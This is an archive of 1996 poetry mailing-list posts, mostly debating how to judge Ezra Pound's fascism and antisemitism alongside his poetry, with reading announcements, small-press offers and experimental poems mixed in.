(I think more subtitles need a good caesura for dramatic effect)

and imagine the cover with giant comic drawings of Howe, Bernstein, Brauthwaite, etc. stomping through NYC tearing it apart. I would buy it in a second. In fact, make it large format and soft cover, and maybe you can trick some comic-buying teens and pre-teens into buying it (which led to my other possible title, "Poets that will corrupt your children").

James Perez
[redacted]

↑ Index

244. **James Perez**
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

I have to agree with Emily and Dove. Further, since I think it is especially pertinent to this topic...

I think anyone interested in how artists are to deal with fascism should take a look at the work of the German Painter Anselm Keifer. There was a good book done for one of his exhibits (nearly a decade ago now?) with essays on his work. He is a painter trying to find out what it means for himself to be german after the Nazi period. He is dealing directly with Nazi work, mimicing the Nazi/Roman salute in full dress in a book of photos, dealing with how to accept artists that the Nazis accepted, such as Wagner and a good deal of German Literary/Cultural/Art History that was/is being looked down upon for being liked by the Nazi regime, dealing directly with the Jewish issues of the Nazi era, check out his pieces inspired by Celan's Death Fugue (anyone ever see the translation that calls it Death Tango?). Keifer's work is excellent and very intellectually and emotionally challenging (such as a painting called Shulamith (I might be wrong on the title) that is a german soldier monument painted with charred brick walls to look like a furnace). Where does the irony end? Someone gave a lecture at UVA last year and talked about Keiffer for a while (I wish I remembered who it was), which was a pleasure for me considering my interest in Keifer's work, and it surprised me when she said Keifer's work was highly praised by a large number of Jewish-American citizens.

See his paintings "live" sometime at any major art museum (they are huge and beautifully painted in a vocab of dripping, scraping, throwing, brushing, pouring...pouring molten lead that is)

James Perez
[redacted]

↑ Index

245. Emily Lloyd
Re: 16 Oz or
Thu 14 Mar 1996

Peter wrote:
>And, as a friend pointed out recently, shouldn't we be more
>upset at people like Frost who got a colleague fired for being gay?

AS upset, at least. YES.

> *When did Ezra actually personally destroy another person's life?*

Well, okay, he wasn't exactly kind to Amy Lowell, and certainly sought to destroy her reputation. Whether this was because she was a woman, or fat, or a lesbian, or just a lame poet? Who knows. On the whole, it seems to me that Peter's basically right--Pound didn't seek to destroy lives so much as prevent them from happening. Those he promoted he demoted as soon as it looked like he wouldn't have as much control over them as he wanted. He *was* a pain in the butt. Pretty much bar none.

More complicated (for me) is someone like Baraka--some of whose political contributions I truly admire--a major fagbasher (at least, in his work) who felt the need to abuse one already-abused group in order to empower another...as if this were the only way to accomplish his argument. And, of course, it *was* a very effective way.

~~~
~~~

read about it is "Genealogy of demons" by Robert Casillo (NWU Press, 1988), which doesn't try to read a redemptive pattern in the late verse or statements he made to Allen Ginsberg, etc. But it's not simply judgemental, either - Casillo tries to explore what happened.

& speaking of Harlem Renaissance, somebody might want to compare the cultural rivalry, borrowings, mimicry, appropriations, masking, and scapegoating involved in black-white relations in US (one could argue that ALL modern popular culture in US stems from blackface minstrel shows & vaudeville) - with the age-old relations between Christianity & Judaism. Might be an interesting take on "our" Son of God.

- Henry Gould

↑ Index

247. Charles Alexander
lb.'s oz.
Thu 14 Mar 1996

> *No, I haven't read them and I don't want to. I believe you.*
> *But how many people did he affect in a good way? Jewish or gay poets that he encouraged or recommended to editors. Doesn't it go some way toward reconciliation? Zukofsky spoke up for him, too.*

Reconciliation, no. Good deeds don't cancel out bad, in my mind. But they are important, and it's necessary not to neglect the good, and not to neglect the bad. And unlike one post, I don't think The Pisan Cantos are the only good -- some is to be found in various Cantos, other poems, and essays, as well as in the good words & deeds for other artists. I am intrigued by the notion that some of what we positively take from Pound is inextricably linked to the negativism and hatred. Instinctively it seems as if this must be true, but I'd like to read more specifics. Guess I should read Perelman's work on this. OK.

↑ Index

248. Daniel Bouchard
Pound takes an "ing"
Thu 14 Mar 1996

> *When did Ezra actually personally destroy another person's life?*

Emily's repsonse:

Well, okay, he wasn't exactly kind to Amy Lowell, and certainly sought to destroy her reputation. Whether this was because she was a woman, or fat, or a lesbian, or just a lame poet? Who knows. On the whole, it seems to me that Peter's basically right--Pound didn't seek to destroy lives so much as prevent them

from happening. Those he promoted he demoted as soon as it looked like he wouldn't have as much control over them as he wanted. He *was* a pain in the butt. Pretty much bar none.

Emily,

I don't read posts on this list for scholarship but I am wondering (again) if you can cite a few examples about Pound as Power Broker of poetry. I'm thinking, as a response, of a letter George Oppen wrote to Pound in the early 60s stating how exceptional his behavior in regard to young and/or unknown poets had been throughout his (Pound's) career. And I'm pretty sure Oppen was no big fan of Pound, as a person, at that point. As for Amy Lowell (she could have used a few lessons in professional decorum also) I am trying to think of how Pound "sought to destroy her reputation." ??

[redacted]

↑ Index

249. Jordan Davis
HYPE CITY thanks
Thu 14 Mar 1996

Tonight at POETRY CITY:

Maria Damon & Walter Lew

Maria Damon is the author of _The Dark End of the Street_ (UMP, 1993). She's a frequent contributor to the poetix list, and a charter member of the renga qa-bal. Walter Lew is the editor of _Premonitions: the Kaya Anthology of New Asian North American Poetry_ (Kaya, 1995). It's one gorgeous book. He's quite a reader.

Poetry City is a borough of Teachers & Writers Collaborative, 5 Union Square West, 7th Floor, New York NY 10003. Both books will be available at the reading.

If you're in New York, stop by Poetry City and say hi.

_____

SPECIAL OFFER to the first five people to respond:

Selected Poems by Simon Pettet &
Talking Pictures by Simon Pettet & Rudy Burckhardt

sold separately in stores for $35
available *today* from Poetry City for $30 ppd

Send your street address to [redacted]

"We want to get the books out there."
--our founder

Thanks, btw, to everyone who jumped on the Bill Luoma twofer deal.

↑ Index

250. - Kim Tedrow
Re: HYPE CITY thanks
Thu 14 Mar 1996

Kim Tedrow
8208 Houston Ct. #6
Takoma Park, MD 20912

[redacted]
http://members.aol.com/RoseRead/

Thanks Jordan,
Kim

↑ Index

251. Alan Sondheim
Re: 16 Oz or
Thu 14 Mar 1996

On Thu, 14 Mar 1996, Karen or Peter Landers wrote:

> *No, I haven't read them and I don't want to. I believe you.*
> *But how many people did he affect in a good way? Jewish or gay poets*
> *that he encouraged or recommended to editors. Doesn't it go some*
> *way toward reconciliation? Zukofsky spoke up for him, too.*

No. Nor does this work with Heidegger.
>
> And, as a friend pointed out recently, shouldn't we be more
> upset at people like Frost who got a colleague fired for being gay?
> When did Ezra actually personally destroy another person's life?

Since Pound was only broadcasting over Italy I have no idea.

> *I have friends who have to take a lot of medecine. I try not to*
> *hold them responsible for the things they have done when ill.*

Nazism is not an illness any more than poetry.

People who advocate extermination and are sane enough to be on national radio should be held responsible.

Pound did damage.

Alan

> *Peter*
> [redacted]

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

↑ Index

252. **David Baratier**
Re[2]: avant-garde
Thu 14 Mar 1996

Anyone who is living and can be considered "a poet" becomes avant-guarde (or advance-guarde if you prefer) by default, by the act of continually writing in a period where continuity has been debased. Categorization is for the empire of the senseless, the bigots who couldn't care less. Even the fields of Robert Bly's masculine epiphany are avant-guarde: get used to it.

↑ Index

253. **Alan Sondheim**
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

Why is it surprising that Keifer is praised by Jews? I like Keifer as well. This isn't the issue.

Look, Pound the fucker called for extermination of my people. He called for it repeatedly and publicly. I'm glad you all can forgive him. I can't. If poetry is elevated above political action, poetry is obscene.

Alan

↑ Index

254. **Jordan Davis**
POETRY CITY 6:30
Thu 14 Mar 1996

---

just a couple quick reminders
then I'll stop abusing the list--

Poetry City events are at 6:30 pm daylight savings (or 6:45 poetry savings)--

and be sure to send responses to book offers to me ([redacted]) and not the list! (don't feel bad, Kim, it's an easy mistake to make)

Jordan

↑ Index

255. William Slaughter
Re: query: book distribution
Thu 14 Mar 1996

Dear Wendy Battin:

This is in reply to your post (attached) re your panel at AWP in Atlanta. I don't know if my MUDLARK is relevant to your project but I would like to call it to your attention. It is refereed, copyrighted, archived and distributed, free, on the World Wide Web, by e-mail, and on disk. MUDLARK has an ISSN from the Library of Congress so, technically, it is a journal not a press, but its second (and current) issue, for example, is a chapbook, THE RAPE POEMS, by Frances Driscoll. Perhaps you'll be willing to at least have a look at MUDLARK and decide for yourself. I have tracked what you're doing with CAPA from the beginning and, of course, I know you're own poetry. In both cases, it's important work you're doing.

Sincerely,

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

> *I'll be part of a panel on electronic publishing at the AWP Convention in Atlanta this April; I'll be doing a presentation on using the internet to keep books in print, to distribute them despite the economic pressures that are driving small & university presses out of bookstores, etc. (Given all the scares about internet as the death of the book, it seems important to turn attention to the alternate economy the net can sustain.) I've run across a few instances of small presses and bookstores marketing their stock on mailing lists and on the web; I'd like to know more and to make these resources more widely available, and this convention seems like a good start. If you know of major distributors on-line--especially those dealing with small press books--or poetry bookstores, presses, samisdat networks with websites or email addresses, please send them to me, and I'll see that they're distributed as widely as I can manage. I'll get them out at AWP, and I'll post them on the CAPA site as well.*

> *Many thanks,*
> *Wendy*
>
> ---
> *Wendy Battin*
> [redacted]
>
> *Contemporary American Poetry Archive*
> *http://camel.conncoll.edu/library/CAPA/capa.html*
> ---

↑ Index

256. **Aldon L. Nielsen**
Re: wings & things
Thu 14 Mar 1996

Naylor -- I want to read that book! While I'm waiting, is the Mackey chapter a version of your essay in _PMC_? Used that in a class a couple weeks ago, & grad. students liked it lots --

Kellog -- Only reason I haven;t been addressing you for copies is that I am briefly living near a library that actually subscribes to all those journals -- keep those notices coming in --

↑ Index

257. **Steven Howard Shoemaker**
Re: ghost titles
Thu 14 Mar 1996

An "Objectivist" number of Contempo magazine was advertised, but never appeared. Ooooh, scary.

steve

↑ Index

258. **Chris Stroffolino**
Re: in the public domain...
Thu 14 Mar 1996

---

dear joe amato-- I was very interested in seeing IL POSTINO because it portrayed a poet as a character, and the tension between the poet as marxist/populist and as "ladies man" was quite interesting. And the way N became role model for young Italian male. At first middle man to woo/seduce woman

and then, of course, more important to that young man than the woman now his wife. This latter part was the weakest part of the movie for me... and the tentative Marxism (albiet culminating in heroic death).... anyway, curious what you thought of that.... Another issue: somebody raised the question of BARAKA (who interests me more than EZ) and it made me think of the whole question of discomfort with a poet's POLITICS (in the vulgar sense) and stance. I've seen Baraka speak in a very improvisatory way on political issues--and one of the things I admire about him (both in the microcosm of lectures and in the macrocosm of his whole development--the various phases he's gone through)--is his willingness to RISK saying things that may be perceived as stupid or wrongheaded. When called on it, at one of the lectures I've seen, Baraka appealed to the poets' right to THINK OUT LOUD, or to grow up in public --- A lot of the question of "poetic responsibility" for me turns on a question of genre. When we read a novel or a play, we often accept the fictions of characters. Yet, in reading poetry (especially "statement poetry") there's this desire to want to hold the poet accountable as if the speaker of the poem (or even a whole book of poems) is not to some extent a character, a fiction. Perhaps this is because one wants to identify with a poet as a person---despite the "death of the author" and all that---and this need and/or desire is not necessarily to be blamed. Yet, at the same time, it does seem to hold others up to standards of consistency we may not necessarily apply to ourselves (sorry for the use of the "royal"? "we" here)-- Aside from the politics that makes Baraka great (see for instance his two pieces in the most recent NEW AMERICAN WRITING) is the ENTHUSIASM that may be involved in what many find disturbing about him..... Aside from my belief that even if we take Baraka strictly as a public intellectual (rather than a poet) the good outweighs the bad, there is also the sense that the whole question of judging poets' on their politics does to a large extent reduce the whole issue to one of mere OPINION. I can't believe that I am alone in thinking that "I DO NOT TOTALLY AGREE WITH ANYONE" and nor do I expect people to totally agree with me. I tend to be moved by things I HATE more than things I tepidly embrace. Ashbery said something like the reason he doesn't read much vulgar political poetry is because he finds himself in too easy agreement with it. I don't TOTALLY AGREE with that either, but AT TIMES I do. Am I "taking a stance" here? Is that a value? Or is it what "they" (and you know who they are) want from us?---- And perhaps the problems people have with poet X or Y are related very much to the POLITICS OF POETIC STANCE, of the perceived need for poets to commodify themselves, and take a position that is seen as consistent in both the narrower sense of the literary world and the larger political. But such a need for consistency is as much a problem as the failure of poets to achieve it, and probably more. It boxes people in to pre- existing grids, one becomes even more of a slave to

one's past than one would otherwise---even in trying to make a "clean break".....

↑ Index

259. David Baratier
PAVEMENT SAW
Thu 14 Mar 1996

Pavement Saw is published once a year
has been said to "mix the incongruent"
in way which was compared favorably to kayak
in Small Press Review.
Some of the contributors are ususal suspects,
regulars on this list.
The most recent issue is 56 pages, fleck cover, perfect bound.

The featured writer is Gian Lombardo.

Others include Chris Stroffolino, Jendi Reiter, Will Alexander, Charles Rittenhouse, Lizbeth Keiley, W.B Keckler, Sheila Murphy, Simon Perchik, and Virginia Aronson to name a few.

One issue is $3.50 and a subscription is $6.00 for individuals.
Back issues are availiable for $3.
$10. subscription fee (2 issues) for libraries and institutions.

Send to:
Pavement Saw
7 James Street
Scotia, NY 12302

Make checks payable either to Pavement Saw Press or David Baratier.

↑ Index

260. Henry Gould
poetry center info/donations
Thu 14 Mar 1996

Rhode Island has nothing like Poets House in NY or other poetry resource centers for the public; it's something some of us have been thinking about for a long time. 6 yrs ago a group called the Poetry Mission was set up with this long-term goal in mind - a public resource/performance center. We concentrated for a few yrs on publishing a journal we inherited (NE Journal, now Nedge) and other things, but the goal has been there.

The Mission recently reached an agreement with a branch of the Cranston Public Library - Hall Library, near Providence/Cranston line - to set up a collection/reading space in a large room there. We have access to about 100 ft of shelf space, several tables & chairs, areas for readings, and a full stage for other performances. We plan to start being open one night a week & one Saturday a month; we envision reading & talk series, informal writers groups gathering there, people looking for book & journals, etc. Considering the dearth of such a focal point around here outside of the colleges, we think it might be fairly popular.

If you want to help us inaugurate this space, there are several ways you can do so. You can:
1. Donate poetry bks or journals, chapbooks
2. Send info about your journal (i.e. subscription cost, # issues, address, etc.)
3. Suggest worthwhile materials for the center & how to acquire them.
4. Other suggestions welcome! (i.e. offers to read while in area, etc.)

All donors will be gratefully acknowledged & the materials will be well cared-for with the library's assistance. As the Mission currently has basically a zero budget beyond putting out Nedge, we can't afford many subscriptions, but some extra income will go in this direction.

All queries or suggestions can come to me via email ([redacted]), all materials should be sent to: The Poetry Mission, PO Box 2321, Providence, RI 02906. Please include a note & return address - and if you have special requirements regarding use of materials, please query before sending! If the project for some reason does not get off the ground or folds, materials collected will be donated to a public library (unless other arrangements have been made with the donor).

Thanks to all interested - Henry Gould

↑ Index

261. **Tony Green**
Re: what is poetics
Thu 14 Mar 1996

Re Henry Gould's quote. Is that really Todorov, or was that ghosted by Clement Greenberg, literature as distinguished from as opposed to other arts? (Eliminating concrete and visual elements components or practices from writing and verbal-textual writing ditto from the other arts -- e.g. music and painting. Really difficult for him.) In so far as "poetics" is about "making", and "medium" is not a useful means of categorisation, that position needs some heavy rethinking methinks. Todorov's "poetics" looks like being a prescriptive (policing) organisation over poetic production too.

Meanwhile, it's just after dawn and the traffic is intensifying into the sonorous stinking rushhour.

Tony Green,
e-mail: [redacted]

↑ Index

262. James Perez
Re: 16 Oz or
Thu 14 Mar 1996

Alan,

not to be argumentative, but I think you are being reductive, since when is speaking on national radio a mark of sanity?

Nazi-ism may not be an illness, but something like chronic depression will make someone reach out for anything, then the Nazi-ism is just another symptom of the illness. I think you're being reductive, not that I profess to know anything at all about Ezra's psychology.

When I think of Ezra Pound I think of that portrait of his by Avedon. He's old and disfigured, outright grotesque, but beautiful somehow. That's how I like to think of his poetry. Along that line (and about bad tepid poetry vs. good horrible poetry) someone once told me that when a thing is ugly it repels you, but when it is grotesque its ugliness attracts you even as it is pushing away.

James Perez
[redacted]

↑ Index

263. Emily Lloyd
Pound's mean: examples
Thu 14 Mar 1996

Below is taken from Steven Watson's _Strange Bedfellows: The First American Avant-Garde_. Stuff written in CAPS is me interjecting.

(AT A DINNER CELEBRATING THE BRIT. PUB. OF _LES IMAGISTES_) "In a Garden" [was Lowell's] sole contribution to _Des Imagistes_. Pound suggested that her closing line, "Night, and the water, and you in your whiteness, bathing!" referred to Lowell and her vast, pale body...Pound stole out to an adjoining room and returned with a large tin bathtub on his head. He deposited it before Amy Lowell, and made a formal announcement: Les Imagistes would be succeeded by a new school of poetry, Les Nagistes, with this tub as its symbol.

Perhaps Lowell, its inaugurating poet, should demonstrate her whiteness by bathing in it.

THIS IS NOT SO MUCH POUND SEEKING TO "DESTROY HER REPUTATION" AS TO PUBLICLY HUMILIATE HER AND PARADE HIS POWER. HOWEVER, TWO WEEKS LATER, WHEN LOWELL SUGGESTS ANOTHER IMAGISTE ANTHOLOGY BE COMPILED...

As a democratic alternative to _Des Imagistes_, Lowell suggested that each poet be given equal space in which his or her own selection of poems would appear. To ensure publication by a reputable firm, Lowell would stake the venture. She secured their [HD, Aldington, Ford, Fletcher, Flint, Lawrence's] participation and then invited Pound...He roundly rejected her proposal, informing her that poetry was not "a democratic beerhall." Pound entreated his friends not to participate. (DESTROY HER EFFORTS, INTERFERE WITH HER PROJECTS=WHAT I MEANT BY "SEEK TO DESTROY HER REP.")...he asserted ownership of the term "Imagisme," and when Lowell simply stripped the word of its Gallic affectation to make it "Imagism," he riposted that the movement would henceforth be known as "Amygism."

[END WATSON]

"I think that America is getting fed up on gynocracy and that it is time for a male review."--Pound to John Quin, 1915.

Once Amy et al. had taken up Imagism, Pound said he had never been serious about the movement at all, and took up Vorticism, denouncing Imagist poets & poetry (inc. HD). In what I've read of Pound (as a person), seems less like he was interested in helping young poets and more like adopting them, putting his stamp on their work, and getting to hold them up claims to his own fame. "Yes, Tiffany started out right here on Star Search." It's just a feeling.

~~~
~~~

"Baraka appealed to the poets' right to THINK OUT LOUD, or to grow up in public."

Yes; I think that might be a nice right to appeal to not only in "public," but on this list.

Appealing,

~~~
~~~

266. Tony Green
Re: avante-garde and other terms
Thu 14 Mar 1996

---

the Naylor dilemma: if it's a matter of provocative description some striking neologism or unexpected banality might do: the poets might take offence at " X,Y and Z: Fucked up Poets of the 90's", while "X,Y and Z: Real Poets of the 90's" wd raise a question or two that might make opening the volume or buying it more likely options than passing by. " Real Cool Poets: X, Y and Z", for "cool" substitute whatever word is current..."of the 21st century" is actually more enticing than 90's"... It does not matter a damn from the point of view of sales whether the poets in quesion have been writing and publishing since 1958 or whether they really have got test-tubes going or not...or have done something they think is new....from the point of view of poetics maybe it matters.

Tony Green,
e-mail: [redacted]

↑ Index

267. Daniel Bouchard
Pound takes a "Ding" -Returns a "Dong"
Thu 14 Mar 1996

Following the flap-chat from Calabria, Tony Door asked me to forward this to the list:

[redacted]

---

wAtt? has someone rushed to defend amy lowel? not to say
the pound was not rich or anything, but wasn't the town near
boston that kerouac came from named after some progenitor
of hers? wasn't she the third generation of american poet?
wasnt her success generated by this fact? isn't the FACT
that we ALL know her name completely contradicted by the
relative merit of her work? Finally, does naming a derived
"movement" in poetry AMYGISM constitute "ruining"
someone's career? like, if he ruined it, how come she still
had one. I think asking Beckett if he was working on the
ILLIAD. (even that didnt seem to ruin his career) or perhaps
when he told Jackson Mac Low that he (Jackson) was NOT
Jewish...I never heard of Pound actually denouncing anyone
but the Stiff, Stuffy, & Well Established in poetry--perhaps
this has been hidden, but he seems to have let loose on his

own against anyone he didn't like. I would not be suprised to learn that there were those whom he might not have helped--there seem to be no women in his circles. perhaps in part due to his unattractiveness as a "teacher" for women poets--on this i do not know. (but would like to find out)

↑ Index

268. cris cheek

Thomas A Clarke

Thu 14 Mar 1996

Good to see Thom turning up again here - he's certainly worth tracking down. For those really keen to dig you might look into two other poets close to him early on. Namely Charles Verey and Neil Mills to whom he dedicated his Jargon book 'some particulars' in 1970. Both are almost forgotten now, although both produced (to my mind) very interesting work. Certainly John Wilkinson has acknowledged the early influence of Verey as a teacher. A nexus of Ian Hamilton Finlay meeting Jonathon Williams and Dom Sylvester Houedard?

Here are a couple of pieces by Neil Mills:

(they're hard to give well in this space as he uses handwriting and spaciality extensively - so I've had to translate a lot of 'peritext' to represent it; some of his neo-signs aren't on the keyboard at all but I've deliberately intended that different systems in this space will be rendered differently for each user - this one's from a 1969 booklet called '12 LOGOTRICKADES - TEXTBOOK' terrific stuff - and btw i've proofread these, no errors as far as i can tell. Curiosity of the week has got to be the prescient 'pog' at the end here, for those who know this kiddie craze)

14. WOODBLOOD

.prannies
.?nias
.witlap
.aucholy
!ebe - ebe
.puselech

.thich §steamen
.spargines

.gulc
@dudphoe
.phalcious

*parospect
%titip

.villocks

[redacted]
^soud-rinal

™espher

67 - inorize - intasch

bra-austive +

.verp

& pog

(the next is from 'Explanation Poems!' in 1970 - intended very much for performance; strangely prefiguring Maggie O'Sullivan's work?)

STONESWANE !

EARTHSHIRE !

STAGAGAGONY !

toadplant & foestrade

TEMTARNISTIME !

BRUUU !

lovehewn & seedslow /

mangrowth dreambraided /

saintselect !

SEASWAX!

DRUMBOUND 1

VIVEMAXIMUS MINDFLESHED 1

selfpriested & bellyzest !

quaaaaarm !

swadewaters slateshelved

& blackdeep

MANBROODS INDAGGERED

razorstark ! nervesqualid ! rooftight !

caregave & painfucked /

TIMESWING IMEMERGES GINGERMAN

LIFESUCKLED & NORTHFAMED !

DOOMFUNCT NEVERGAIN !

cuntsmead & noonblonde & harrierlord !

kingfingers ! lupinsbleed !

jaggedbones !

FLINTSUCKERS !

↑ Index

269. Chris Stroffolino

Re: in the public domain...

Thu 14 Mar 1996

---

did anybody go to the jim brodey reading?
i'm curious for any report.....
cs

↑ Index

270. Wystan Curnow

Re: let's talk about fascists, bay-bee...

Thu 14 Mar 1996

Dear Alan,
That AN is Anais Nin? Well, that's one of my problems with HM, how can you justify his support for AN? Tell me.
Wystan

↑ Index

271. Wystan Curnow

Re: 16 Oz or

Thu 14 Mar 1996

Dear Emily,
Don't hate me (it'll make you sick) but learn from me.
Better still lets learn together. Let's make a BAD FOLKS List.
Let's see, who we got so far:
Pound
Frost
Baraka
Hemingway

There are so many bad folks in the world and so much badness to learn
from.More names please.
Wystan

↑ Index

272. **Thomas Bell**
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

On Thu, 14 Mar 1996, Alan Sondheim wrote:

> *If poetry is elevated above political action, poetry is obscene.*

If poetry is related to political action, poetry is obscene. This
is really the issue here, isn't it?
tom

↑ Index

273. **Rod Smith**
Re: ghost titles
Thu 14 Mar 1996

A few years ago Viking announced an unpublished ms. of Joyce short stories -- believe they sd it was written after Ulysses, & parts of it were garbled into or swallowed whole by the Wake. This is a less clear memory-- but something abt they were based on irish fairy tales, or variations on a particular tale. The estate must have pulled it.

Rod

↑ Index

274. **Emily Lloyd**
Bad Folks List
Thu 14 Mar 1996

At 01:06 PM 3/15/96 +1300, [redacted] wrote:
>Let's make a BAD FOLKS List.
>Let's see, who we got so far:
> Pound
> Frost
> Baraka
> Hemingway
>There are so many bad folks in the world and so much badness to learn
>from.More names please.
> Wystan

Joking, I hope? Subjective. My bad is not your bad (which may be the only thing we've learned re: my derrida comments). My bad is not even *my* bad all the time. I would say, in what I hope is closing, that reading someone's work is no synonym for "forgiving" them. I still believe, if that's what's being challenged, that one can (and perhaps even should try to) learn from people that offend, hate, etc. one. But the list above reminds me of "potential rapists" lists on university bathroom walls. I don't want a bad folks list any more than a capital A G avant-garde. E

~~~
~~~

>work on this. OK.
>

---
christopher daniels <[redacted]> 3.14.96 5:26:34 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

276. Alan Sondheim
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

I like some of her stories, short novels, and general predating of Irigaray and Kristeva...

Alan

On Fri, 15 Mar 1996 [redacted] wrote:

> *Dear Alan,*
> *That AN is Anais Nin? Well, that's one of my problems with HM, how can you justify his support for AN? Tell me.*
> *Wystan*

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

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277. chris daniels
(no subject)
Thu 14 Mar 1996

i am a jew. if it weren't for WWII, i wld have a huge family in rumania and the ukraine. my people were beaten, tortured, raped and gassed by corporal hitler and his idiot assassins. i grew up in a housing project in nyc where i was

beaten, tortured, stolen from and constantly humiliated by blacks and latinos. when i was 13 a black wino raped me.

i will never forgive what was done to my extinct european relatives or to me when i was a boy, and i have trouble with the hurt, yet one of my favorite poets is steven jonas, a gay black man. martin heidegger is important to me. so is the music of charles mingus and villa-lobos, both notorious assholes.

one of the first thing we notice abt fascists is their inability to accept anybody who looks, acts, thinks differently.

yeah, pound was an asshole and a fascist. he was also a great poet. and he furthered, made the careers of several poets, no matter his motives. that's something we can either deal with or ignore. bestiality resides in the human heart. none of us are sheltered from it, all of us are capable of it. that's another thing we can either deal with or ignore. human beings are terribly complicated; our motives usually suck, especially when we jump up and down and yell abt how good our motives are. the finger points both ways.

later

---

christopher daniels <[redacted]> 3.14.96 5:57:59 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

278. Eryque Gleason
Re: Bad Folks List
Thu 14 Mar 1996

> *I don't want a bad*
> *folks list any more than a capital A G avant-garde. E*

hell, sometimes i don't even want capital e's...

↑ Index

279. william elliott vidaver
Question re: Schwitters studies
Thu 14 Mar 1996

Does anyone know of an electronic mailing list (or association) that is dedicated to any extent to discussions of the abstract collage work of Kurt Schwitters and/or Hannah Hoech, and/or their contemporary inheritors?

Any leads would be helpful,
Aaron Vidaver c/o
[redacted]

↑ Index

280. Alan Sondheim
Re: 16 Oz or
Thu 14 Mar 1996

I want to bow out of this discussion. But I must say I have chronic depression and it does not "make me reach out for anything." And if Nazism is the symptom, pray, what is the cure?

Yes, I read Pound; I wouldn't deny myself that. I read Celine. I don't have bad boys and good boys. But I read through, not around, Nazism, just as I have to have an informed reading of Heidegger say for my own work.

I would be careful about all this excusing fascism. Perhaps all fascists in Germany and Italy were chronically depressed?

Alan

On Thu, 14 Mar 1996, James Perez wrote:

> *Alan,*
>
> *not to be argumentative, but I think you are being reductive, since when is speaking on national radio a mark of sanity?*
>
> *Nazi-ism may not be an illness, but something like chronic depression will make someone reach out for anything, then the Nazi-ism is just another symptom of the illness. I think you're being reductive, not that I profess to know anything at all about Ezra's psychology.*
>
> *When I think of Ezra Pound I think of that portrait of his by Avedon. He's old and disfigured, outright grotesque, but beautiful somehow. That's how I like to think of his poetry. Along that line (and about bad tepid poetry vs. good horrible poetry) someone once told me that when a thing is ugly it repels you, but when it is grotesque its ugliness attracts you even as it is pushing away.*

> *James Perez*
> [redacted]

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

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281. **Carla Billitteri**
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

Worth reading in this context is Charles Olson's journals kept while visiting Pound in custody, published in _Charles Olson & Ezra Pound: An Encounter at St. Elizabeth's_, edited by Catherine Seelye. Olson had quit his government job in the wake of F.D.R.'s death and the sellout (as he saw it) of the progressive wing of the Democratic party by Truman. (Much of Olson's work had involved coordinating activities with immigrant organizations.) He was really just starting as a poet, and though _Call Me Ishmael_ was written, he hadn't yet secured a publisher. Olson was fascinated by the Cantos and had arranged to cover the trial for Partisan Review. The issues raised here on the list more or less as a matter of intellectual stance take on a palpable reality in Olson's journals, enthrallment and disgust hopelessly tangled. Should Olson have washed his hands of Pound sooner than he did? (Pound credited Olson's small kindnesses at this time with saving his life.) What exactly did he learn by sitting at Pound's feet? Condemnation and forgiveness are two ends of a very long continuum of possible judgments. Here are two interesting excerpts:

From 15 January 1946:

. . . was it in here that he asked, does anyone know Westbrook Pegler? I indicated I didn't, and must have froze more than I ever have with him. He then called him "the best man they've got." And with that, for the first time, the full shock of what a fascist s.o.b. Pound is caught up with me. I guess I had to feel it on my own America before I could have a realization. For Pegler I have traveled through and understood. Pound's praise of him reveals his utter incomprehension of what is going on, and what has happened to himself. Just on a technical level, that such an ear as Pound's could permit himself to praise Pegler! What a collapse. I wondered then how long more I can hold out my hand to him as a poet and a man. I suppose I shall tell him one day I am the son of immigrants, this influx of second class citizens whom Pegler and Pound think has made impure their Yankee America of pioneers--and Biddles. That my father was killed

fighting for the right of labor men to organize in unions. That decadent democracy gave me the chance to grope out of the American city into some understanding of what life is, and how to peg a smart fascist s.o.b. like Pegler--and Ezra Pound.

From 24 January 1946:

He was quiet for a minute, working his forehead, talking down and away toward the window to his right and my left: "There was a Jew, in London, Obermeyer, a doctor of comparative . . . . . of the endocrines, and I used to ask him what is the effect of circumcision. That's the question that gets them sore," and he begins to be impish as hell, "that sends them right up the pole. Try it, don't take my word for it, try it." And then, with a pitiful seriousness, turning directly toward me and says: "It must do something, after all these years and years, where the most sensitive nerves in the body are, rubbing them off, over and over again." ((It was fantastic, again the fascist bastard, the same god damned kind of medical nonsense Hitler and the gang used with the same seriousness, the same sick conviction.)) It was so cockeyed for the moment it was funny actually, absurd, and I was carried along by the swearing, swift, slashing creature. I record it, but here as elsewhere, it is impossible to give a true impression. For at any given point, always, there is the presence of the seriousness of the man. Even in his sickest and most evil moments. He is always a man at work, examinging, examining. Here, for example, on the one hand he is attacking K as a Jew, when the truth is K is making the mistakes of any young man, and Pound is god damned well lucky it is K and not the monster Griffin who is questioning him, is in charge. I could not help feeling during this whole line of Pound's, how it was precisely the Jews around him here and in the DDC who gave him some warmth and help, how it was through Tiny and K that I had got drawers issued to him, how it was K who at least had the curiosity to read his verse, and that K, in Chicago, when the bookstores said, they wouldn't carry the books of a fascist, objected and damn well told him that was the same as burning books, and plain out and out fascist. On top of that it was Rahv, another Jew, who had accepted my Yeats thing on EP, when all the blessed Christian editors took it as offering Pound an out, an intellectual excuse.

****

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282. **chris daniels**
Re: 16 Oz or
Thu 14 Mar 1996

---

alan ---

i've bowed out also. let he who is w/o sin ...
---
christopher daniels <[redacted]> 3.14.96 8:05:51 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
